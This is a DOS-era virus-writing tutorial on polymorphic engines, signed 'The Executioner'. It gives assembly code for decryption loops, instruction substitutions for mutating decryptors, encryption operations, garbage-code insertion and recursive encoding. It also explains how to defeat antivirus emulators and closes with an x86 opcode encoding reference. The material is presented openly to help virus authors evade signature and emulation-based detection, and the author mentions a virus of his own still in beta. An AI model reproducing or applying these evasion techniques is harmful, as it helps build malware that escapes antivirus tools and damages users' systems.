Tutorials - Polymorphism (By The Executioner)

POLYMORPHISM
by Executioner

At its simplest level, polymorphism simply generates a random decryptor for the virus. These decryptors are generally composed of XOR/ADD/SUB/INC/DEC/ROR/ROL instructions, and some method of looping through the decryption algorithm. This article is intended to be a fairly comprehensive look at the methodology used in common polymorphic engines.

LOOP CONSTRUCT

Load CX with the length of the encrypted data, SI and DI with the offset of the data (with ES and DS assumed to point to the virus segment), and use the standard string operations to load/store the data. The actual encryption algorithm can be as simple or complex as desired; it doesn't really matter, since most AV scanners emulate the decryption loop.

```
        mov     cx, e_length
        mov     si, offset e_start
        mov     di, si
decrypt_loop:
        lodsb
        <operation>
        stosb
        loop    decrypt_loop
```

ALTERNATE LOOP CONSTRUCT 1

Point an index or base register to the start of the encrypted data and use operations that act on the memory pointed to by the register, instead of loading the plaintext into a register first.

```
        mov     si, offset e_start
decrypt_loop:
        <operation>
        inc     si
        cmp     si, offset e_finish
        jnz     decrypt_loop
```

ALTERNATE LOOP CONSTRUCT 2

Sort of a combination of the two previous, using varied index/base registers but loading into a register before operating. This is not efficient, but since this is a polymorphic engine, efficiency is hardly a factor.

```
        mov     bx, offset e_start
        mov     si, offset e_start
decrypt_loop:
        mov     al, [bx]
        <operation>
        mov     [si], al
        inc     bx
        inc     si
        cmp     si, offset e_finish
        jnz     decrypt_loop
```

MUTATING

The loop construct is fine, but if you stick to that format it's easy to scan for. Instead, different operations can be substituted. Some suggestions follow below:

```
->      mov     cx, e_length
        ---
        sub     cx, cx
        or      cx, e_length
        ---
        push    e_length
        pop     cx
        ---
        mov     bx, e_length
        mov     cx, bx
        ---
        mov     cx, e_length xor 1234h
        xor     cx, 1234h

->      mov     di, si
        ---
        push    si
        pop     di
        ---
        xchg    si, di
        mov     si, di
        ---
        push    bp
        sub     sp, 2
        mov     bp, sp
        mov     word ptr [bp],  si
        pop     di
        pop     bp

->      lodsb
        ---
        mov     al, byte ptr ds:[si]
        inc     si
        ---
        inc     si
        mov     al, byte ptr ds:[si-1]
        ---
        add     si, 1
        mov     al, byte ptr ds:[si-1]

->      stosb
        ---
        mov     byte ptr es:[di], al
        inc     di
        ---
        inc     di
        mov     byte ptr es:[di-1], al
```

```
        ---
        add     di, 1
        mov     byte ptr es:[di-1],  al


->      loop    e_start
        ---
        dec     cx
        jz      e_start
        ---
        sub     cx, 1
        jcxz    e_start
        ---
        sub     cx, 1
        jnz     temp
        push    offset e_start
        retn
temp:
```

ENCRYPTION ALGORITHM

Many forms of encryption have been used throughout history. These range from simple substitution and rail fence ciphers, to massive lookup tables with vast mathematical operations, lossy methods to disguise frequency analysis, compression, one-time pads, and more exotic methods. For the virus, however, encryption is generally far simpler.

Simply choose a few (3-20 is good) operations to perform on the data. Remember that the encryption algorithm must do the operations in the reverse order as the decryption algorithm. For example, if you encrypt with a sequence like NEG/XOR 34h/SUB F8h/NOT, the decryption must go NOT/ADD F8h/XOR 34h/NEG.

NEG/NOT do not require a key, and as such are of limited use, since they result in a binary result. Either one or the other.

XOR is used commonly due to its self-inverse property. A value eXclusive ORed with another value twice results in the original value. ie. 48h XOR 10 XOR 10 is 48h.

ADD/INC and SUB/DEC are complementary functions; if you use ADD/INC in the encryption, the decryption must use SUB/DEC and vice versa.

MUL/DIV are less commonly used. The important thing to remember is that for byte sized input, word sized output is used. An 8-bit value multiplied by another 8-bit value results in a 16-bit product. An 8-bit value divided by an 8-bit value results in an 8-bit dividend and an 8-bit remainder.

XLATB is even less commonly used. XLATB was designed specifically for this purpose, hence its name; transLATe Byte. Given an input value in AL, the translation table at DS:BX, XLATB will return the translated value in AL. The table is 256 bytes long, and must contain each value only once, else translation ambiguity will result and data loss as well.

ROR/ROL are each other's inverse functions. They rotate the bits n positions to the right or left, respectively.

SHL/SHR are similar to ROR/ROL except for the slight difference that they do not keep the bit that is shifted off the end. That bit is stored in the carry flag, so to use it properly that bit must be added to the following byte, which can be difficult if the data has been permutated with any other function. It's not advisable to use SHL/SHR unless you can guarantee that only SHL/SHR will be used.

XCHG can be use on word-length input to swap the high/low bytes, but has little use, since it does not truly disguise the data.

AND/OR aren't normally looked at in this way, since they are "lossy" functions but if you feel like wasting some space it can be done. If you take a random AND mask and NOT it, you will, between the two, have all bits set. AND the input data with one, then the other, store both results, and have the decryptor OR the two values together.

```
data                 (plain1)    = 01101101

mask                 (key)       = 11010110
inverse mask         (~key)      = 00101001

data AND mask        (cipher1)   = 01101101
                               AND 11010110
                                   --------
                                   01000100

data AND inverse mask (cipher2)  = 01101101
                               AND 00101001
                                   --------
                                   00101001
```

to get the original data (plain1) take (cipher1) OR (cipher2).

```
(cipher1) OR (cipher2) = (plain1) = 01000100
                                 OR 00101001
                                    --------
                                    01101101
```

Code follows. Note that I have chosen the common LOOP implementation. This opens a wide range of possible variations using conditional jumps or self-modifying code.

```
encrypt:
        mov     cx, e_length            ; process e_length bytes
        mov     si, e_start             ; read from the start
        mov     di, e_buffer            ; store it in the buffer
        call    random                  ; get a random mask
        mov     bh, al                  ; copy the mask to BX
        mov     bl, al
        not     bh                      ; create inverse mask
encrypt_loop:
        lodsb                           ; get plaintext
```

```
        mov     ah, al                  ; copy to high byte
        and     al, bl                  ; use initial mask
        and     ah, bh                  ; use inverse mask
        stosw                           ; store ciphertext
        loop    encrypt_loop            ; process the next bytee

decrypt:
        mov     cx, e_length            ; process e_length bytes
        mov     si, offset e_start      ; read from e_start
        mov     di, si
decrypt_loop:
        lodsw                           ; get a pair
        or      al, ah                  ; mix the data
        stosb                           ; store the original data
        loop    decrypt_loop            ; process the next byte
```

GARBAGE INSTRUCTIONS

Garbage instructions are meant to be inserted between the actual operational pieces of code. Recursion can become effective here, as you can store which registers are pushed, as well as the order that they are pushed, using XCHG and POP to return them in some random fashion. Basically, anything to confuse the situation is applicable.

Use NOP or other one-byte instructions. This can be made very efficient through the use of tables and the XLATB instruction.

Save a register and modify its contents in some way, then restore the data.

MOV a register to itself. XCHG registers with themselves. Doubly NEGate or NOT a register or memory location. ADD, then SUBtract a constant from a register. DECrement, then INCrement. XOR a register twice with the same constant.

Perform CALLs to empty routines.

Jumps inserted randomly over small pieces of code or random data.

Move data to ROM. The write will fail, and will not be able to actually modify the data, so it's effectively a null instruction.

Execute interrupt calls that return known data, such as AX=0.

Keep track of registers that have not been used, and permutate the data in them in any fashion. This is fairly simple to do, since there are 8 word length registers and 8 byte length registers.

The important thing to keep in mind, is that some of these instructions (specifically the mathematical functions) will affect the flags. If you intend to do a conditional jump, either do not generate garbage, save the values of the flags with PUSHF/POPF or LAHF, or set some sort of garbage generation flag that locks out the math operations.

RECURSIVE ENCODING

A simple example of a recursive encoding for an instruction would be MOV reg, imm. When the MOV encoding function is called, it has a possibility of calling itself along with some sort of permutation to hide the actual contents of the move, along with the intent. It can be shown mathematically or through intuitive analysis that this provides potentially infinite depth. You may wish to restrict maximum nesting if you are using conditional jumps, since on pre-386 machines the maximum length of a conditional jump is +-7F bytes.

```
subroutine <move> (reg, imm)
if (type=(random(4)-1)>=0) {
  key=random
  <operation> type, reg, key
  <move> reg, xi* <operation> imm
  <inverse operation> type, reg, key
}
else mov reg, imm

subroutine <operation> (type, reg, imm)
type =
  0 xor reg, imm
  1 <add> reg, imm
  2 <ror> reg, imm

subroutine <inverse operation> (type, reg, imm)
type =
  0 xor reg, imm
  1 <add> reg, -imm
  2 <ror> reg, -imm

subroutine <add> (reg, imm)
random =
  0 add reg, imm
  1 sub reg, -imm
  2 {
    k=random
    l=imm-k
    <add> reg, k
    <add> reg, l
  }

subroutine <ror> (reg, imm)
random =
  0 ror reg, imm
  1 rol reg, -imm
  2 {
    k=random
    l=imm-k
    <ror> reg, k
    <ror> reg, l
  }
```

That basically concludes the actual variance portion of polymorphic routines.

To determine the variance of your engine, is a difficult task. While your engine may change several instructions, if too many instructions are static simple scan strings may detect your creations. Likewise, if you have no static instructions, but not enough variance on those, multiple scan strings will again suffice.

To calculate the total number of permutations your engine can create, find the total number of permutations for each distinct path and add them together. To find the number for each path, break the code into segments and multiply the total number of different code segments that each can create together. For example, in the encoding section, there are (perhaps) five instructions that you wish to use. You wish to use 3-15 of them. Each will have a one byte random immediate operand. That's sum (k=3->15) ((256^k)*k!).

This is one relatively effective way to calculate your engine's total efficacy. However, many scanners are moving to emulation methods to bypass the decryptor and move to the static code that lies beyond. This brings us to the next section.

ARMOURING

Debugging traps can be inserted in any location, but since they tend to take a while to execute they should go outside the main decryption loop. Otherwise the user will notice the slowdown.

Armouring, or anti-debugging as it is sometimes called, is slightly different for a polymorphic engine than it is with a standard debugger. With a debugger one must assume that a human being is working on it. When dealing with emulators, one can count on definite behaviour, that will always result from a given set of data. Besides that, the entire method of dealing with polymorphism has also changed. Before, the AV author would find static bits in the decryptor, patterns, and other heuristics to determine whether something was encrypted using a given engine. Now, most AV software runs the code through an emulator and scans the decrypted code for the engine itself.

Currently, using 386 operations in your decryption loop will kill most emulators but that's expected to change with F-Prot/Project Vixen. Other methods usually involve trying to blow the emulator's stack, overflow the heap, nesting loops deep inside massive recursive calls to convince the emulator that no decryptor is present, etc.

Another method which is extremely successful is the 'known value' method of data assignment. For example, if you wish to place 1234h in AX, but don't want it to be painfully obvious, you could find a function that returns 1000h, call it, and add 234h to that. These are generally interrupt calls, or known data locations.

A topic which is a form of polymorphism quite different than the one discussed in this article, is oligomorphism in its various forms. This involves swapping the order instructions or blocks of instructions to make it harder to make a single scan string for a virus. Also similar is what I've termed DCG or Dynamic Code Generation, which is where the operations are encoded as they're needed. These are the directions that I see virus writing going towards. I've already completed a full DCG utilizing virus, as well as a variant that can do small/large-block oligomorphism at the same time as DCG, but they're in beta stages and not really ready for distribution.

known data

```
0000:00C0  EA ?? ?? ?? ?? EA ?? ?? ?? ??
  DS:0000  CD 20 ?? ?? ?? 9A ?? ?? ?? ??
```

Initial SP for COM is FFFE, and for EXE files the SP field is at offset 10h in the EXE header.

known interrupt return values

```
2Fxx - ES=PSP segment, BX=80h
42xx - where xx is not a valid seek mode returns 0001 in AX
18xx - AL=0
1Dxx - AL=0
1Exx - AL=0
20xx - AL=0
2Fxx - AL=0
```

PHYSICAL ENCODING

In this part of the article, the actual binary representation of a few useful operations will be shown, as well as generally how all instructions for the 80x86 are built.

I've tried to keep a very static feel to the text following, to illustrate the workings and similarities of the instructions for the i86. i386+ instructions have for the most part been excluded, so there's no information on scaled index bases or general register indexing. Maybe later?

There are essentially three different operands used in the i86. The immediate value, or constant; the register; and the memory address. The memory address is slightly more complex, being addressed in two ways: the constant address and the indirect address. Indirect addresses are formed from a combination of a base register (BX/BP) and/or an index register (SI/DI) and sometimes a constant 8 or 16 bit offset.

The instructions themselves are composed of bitfields of varying lengths mixed with a set of constants used to represent each of the preceding operand types. There are also a few special purpose bits used in some encodings to achieve a degree of redundancy known in few architectures.

reg field

The word bit in the encoding will determine whether the byte or word register will be used.

```
AX or AL - 000 or 0
CX or AH - 001 or 1
```

```
DX or CL - 010 or 2
BX or CH - 011 or 3
SI or DL - 100 or 4
DI or DH - 101 or 5
BP or BL - 110 or 6
SP or BH - 111 or 7

sreg field
----------

Segment registers have a different set of encodings, and are used with a
different set of instructions.  They are as follows:

ES - 001 or 1
CS - 011 or 3
SS - 101 or 5
DS - 111 or 7

r/m field
---------

00 - based or indexed
01 - based or indexed with a 8-bit displacement
10 - based or indexed with a 16-bit displacement
11 - two register operation

mod field
---------

If it's a based or indexed memory location, the following table is used.

000 - [BX+SI]
001 - [BX+DI]
010 - [BP+SI]
011 - [BP+DI]
100 - [SI]
101 - [DI]
110 - if r/m is 00, a direct memory offset, else [BP]
111 - [BX]

This field doubles as a reg field for two register instructions.


direction
---------

In some instructions, there is a direction bit.  If not set, reg is the
destination and mod is the source.  If set, the opposite is true.

what does this mean?
--------------------

Assume you want a destination of AX, and a source of [BX+45]

r/m - 01  (indexed with an 8-bit displacement)
```

```
reg - 000 (AX)
mod - 111 ([BX])
```

Assume you want a destination of CX, and a source of DX

```
r/m - 11 (two registers)
reg - 001 (CX)
mod - 010 (DX)
```

Assume you want a destination of BX, and a source of [BX+DI+3456]

```
r/m - 10 (based and indexed with a 16-bit displacement)
reg - 011 (BX)
mod - 001 ([BX+DI])
```

Assume you want a destination of SI, and a source of [BP]

```
r/m - 01 (based with a 8-bit displacement)
reg - 100 (SI)
mod - 110 ([BP])
```

[BP] is a special case. Since the value 110 is reserved for direct memory locations when r/m is 00 for a base without an offset, the only way to encode a [BP] is as [BP+00] or [BP+0000] using an r/m value of 10 or 01.

segment overrides

Segment overrides immediately precede the instruction on which they act. They are used to change the segment from which an indirect address' contents are fetched. There is no limit to the number of segment overrides that can be used, but only the last will actually be effective.

The default segments for the base/index registers are as follows:

```
DS - BX
SS - BP
DS - SI
DS - DI (ES for the string instructions)
```

The encodings for the overrides:

```
ES - 26
CS - 2E
SS - 36
DS - 3E
FS - 64
GS - 65
```

instructions described: MOV, XCHG, XOR, PUSH, POP, JMP, INT, LOOP

flow control instructions

* INT xx

```
11001101 data (where data is the interrupt to be called)

* JMP SHORT

11101011 data (where data is a signed byte displacement from the end of the
               instruction)
Example:

0100 EB 02 JMP $+4 (jump two bytes forward, or four from the instruction start)
0102 90    NOP     (1 byte)
0103 90    NOP     (1 byte)
0104 90    NOP     (jump destination)

* JMP NEAR xxxx

11101001 data (where data is a signed word displacement from the end of the
               instruction)

* JMP FAR xxxx:xxxx

11101010 data (where data is a segment:offset in intel reverse dword format)

* LOOP xx

11100010 data (where data is a signed byte displacement from the end of the
               instruction)

* CALL SHORT xxxx

11101000 data (where data is a signed word displacement from the end of the
               instruction)

* RETN        . 11000011 or C3
* RETF        . 11001011 or CB
* IRET        . 11001111 or CF

Note: for all program control operations, the offset is calculated from the
end of the instruction.  To do a near jump to the instruction directly
following the jump, it would be E9 00 00.  This cannot be overstated.  So many
people do not seem to grasp this idea.

common instructions
-------------------

--- the XCHG instruction

* XCHG reg, reg
* XCHG reg, mem
* XCHG mem, reg

1000011,w r/m,reg,mod (data)

* XCHG reg, AX
```

```
1001,w,reg

Example:

XCHG CX, DX

CX/DX are word length registers, so the word bit is set.  The bit
representation for CX is 001; DX is 010; a two-register instruction has an
r/m field of 11.

1000011,1  11,010,001
        w r/m reg reg

example:

XCHG CX, [BX+SI+5698h]
1000011,1  10,001,000 1001,100 0101,0110
        w r/m reg mod 9h   8h  5h   6h

--- the MOV instruction

* MOV reg, imm

1011,w,reg,data

* MOV reg, reg
* MOV reg, mem
* MOV mem, reg

100010,d,w r/m,reg,mod,data

* MOV sreg, reg
* MOV reg, sreg

100011,d,0,1,sreg,reg,1

example:

MOV AX, 1234h
1011 1 000 001101000 00010010
     w reg data

MOV BX, [0100]
100010 1 1  00 011 110 0000000000000001
       d w r/m reg mod data

--- the XOR instruction

* XOR reg, reg
* XOR mem, reg
* XOR reg, mem

001100dw mod,reg,r/m data (1,2)

example:
```

```
XOR AX, BX
00110001 11 000 011
        r/m reg mod

--- the stack operations

* POP reg    . 01011,reg
* PUSH reg   . 01010,reg
* POP sreg   . 000,sreg,11
* PUSH sreg  . 000,sreg,10
* PUSHA      . 01100000 or 60
* POPA       . 01100001 or 61
* PUSHF      . 10011100 or 9C
* POPF       . 10011101 or 9D

Note that only word length registers may be pushed or popped.  The stack is
entirely word oriented, largely for reasons of efficiency due to the nature
of the bus.

simple one-byte instructions
----------------------------

These are going to be shown in a different format to save space.

string instructions
-------------------

MOVSB        . 10100100
MOVSW        . 10100101
CMPSB        . 10100110
CMPSW        . 10100111
STOSB        . 10101010
STOSW        . 10101011
LODSB        . 10101100
LODSW        . 10101101
SCASB        . 10101110
SCASW        . 10101111

flag instructions
-----------------

CLI          . 11111010
STI          . 11111011
CLD          . 11111100
STD          . 11111101
CLC          . 11111000
STC          . 11111001
CMC          . 11110101
SAHF         . 10011110
LAHF         . 10011111

misc.
-----
```

```
DAA          . 00100111
DAS          . 00101111
HLT          . 11110100 - note: be careful with the bus/processor state
LOCK         . 11110000         operations; don't use them as garbage
                                instructions unless you know what you're doing
```

 - the Executioner wuz here